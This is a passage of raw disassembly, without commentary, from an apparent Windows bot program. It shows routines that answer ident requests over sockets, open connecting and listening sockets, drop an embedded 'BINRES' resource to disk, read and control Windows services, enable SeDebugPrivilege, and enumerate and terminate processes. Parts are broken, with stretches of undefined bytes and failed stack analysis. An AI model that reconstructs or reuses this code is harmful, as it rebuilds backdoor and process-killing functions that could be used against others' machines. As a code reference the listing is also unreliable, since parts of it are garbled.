		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		nop
		call	near ptr 2821DA2h


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E6E84
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E6ED9, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_4472BB
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6ED9, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi ; dword_50FABC
		cdq
		mov	ecx, 3
		push	offset byte_446F70
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi ; dword_50FABC
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
		push	71h
		call	esi ; dword_50FABC
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5EDAB2
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi ; dword_50FC88
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi ; dword_50FC88
		mov	byte_4E6ED9, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		call	near ptr 2821DA2h
		nop
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi ; dword_50FC88


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 4
		call	sub_401DCA
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50BB68
		xor	eax, eax
		mov	dword_50BB54, eax
		mov	dword_50BB4C, 1
		mov	dword_50BB5C, eax
		mov	dword_50BB60, eax
		call	sub_401744


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50BB6C
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		nop
		call	near ptr 28F06B8h
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44794F
		mov	dword_50BB48, 20h
		mov	dword_50BB4C, 2
		mov	dword_50BB50, 3
		mov	dword_50BB54, esi
		mov	dword_50BB58, esi
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 28F03A8h
		cmp	eax, esi
		mov	dword_50BB6C, eax
		jz	short loc_41FBAA
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		nop
		call	near ptr 28F06B8h


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB68, ecx
		push	100h
		mov	ecx, offset byte_44794F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 28F0000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2880B30h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 27808ECh
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		call	near ptr 2790000h
		nop
		push	edi
		push	esi
		mov	ebp, eax
		call	near ptr 2790424h
		nop
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 2790855h
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF90	proc near		; CODE XREF: sub_4015FAj

var_2A		= byte ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_436840
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_436FC0
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset dword_444114
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+1Ch+arg_0]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx ; dword_50F874
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+28h+var_10]
		lea	eax, [esp+28h+var_C]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_436FBA
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+38h+var_1C]
		lea	ecx, [esp+38h+var_18]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_436FB4
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 95E89056h, 0C6022EFFh, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		call	near ptr 283076Ch
		nop


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, [esp+3Ch+var_28]
		add	ebp, 4
		dec	eax
		mov	[esp+3Ch+var_28], eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, [esp+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_4019FBj

var_455		= byte ptr -455h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= byte ptr -44Ch
var_43C		= byte ptr -43Ch
var_424		= byte ptr -424h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		nop
		call	near ptr 2940000h
		mov	ecx, [esp+460h+var_454]
		lea	edx, [esp+460h+var_450]
		lea	eax, [esp+460h+var_40C]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 28E0000h
		nop
		lea	edx, [esp+460h+var_455]
		lea	eax, [esp+460h+var_40C]
		push	edx
		push	eax
		lea	ecx, [esp+468h+var_44C]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_50F9AC
		mov	byte ptr [esp+460h+var_4], 2
		mov	edx, [ecx]
		lea	ecx, [esp+460h+var_44C]
		push	edx
		push	offset asc_443B04 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+460h+var_44C]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+460h+var_44C]
		call	near ptr 7608B84Ch
		nop
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+460h+var_43C]
		call	sub_401681
		push	eax
		nop
		call	near ptr 27E08F2h
		lea	ecx, [esp+460h+var_44C]
		mov	byte ptr [esp+460h+var_4], bl
		nop
		call	near ptr 7608F485h
		lea	ecx, [esp+460h+var_43C]
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		pop	esi
		pop	ebx
		mov	ecx, [esp+458h+var_C]
		mov	large fs:0, ecx
		add	esp, 458h
		retn
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900971h
		nop
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 28A081Ah
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		nop
		call	near ptr 291037Ch
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi ; dword_50F740
		push	esi
		call	edi ; dword_50F740
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp ; dword_50F73C
		push	esi
		call	edi ; dword_50F740
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp ; dword_50F73C
		push	esi
		mov	esi, dword_50F74C
		call	esi ; dword_50F74C
		push	ebx
		call	esi ; dword_50F74C
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 2780354h
		push	eax
		nop
		call	near ptr 28C14CDh
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 278037Eh
		push	eax
		call	near ptr 28C1A05h
		nop
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		call	near ptr 28D0000h
		nop
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp ; dword_50F718
		test	eax, eax
		jz	short loc_420478
		call	near ptr 27B0896h
		nop
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi ; dword_50F8D8


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2780399h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		call	near ptr 2710000h
		nop
		push	esi
		mov	bl, 1
		call	edi ; dword_50F8D8


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp ; dword_50F718
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi ; dword_50F8D8


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10D0	= dword	ptr  10D4h
arg_10D8	= dword	ptr  10DCh
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 2880B30h
		nop
		test	eax, eax
		mov	dword_50BB70, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27D0968h
		test	eax, eax
		mov	dword_50BB70, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi ; dword_50F8A0
		mov	dword_50BB74, eax
		mov	eax, dword_50BB70
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi ; dword_50F8A0
		mov	ecx, dword_50BB70
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB78, eax
		call	esi ; dword_50F8A0
		mov	ecx, dword_50BB74
		mov	dword_50BB7C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50BB78
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx ; dword_50BB74
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword_444114
		mov	eax, dword_444118
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
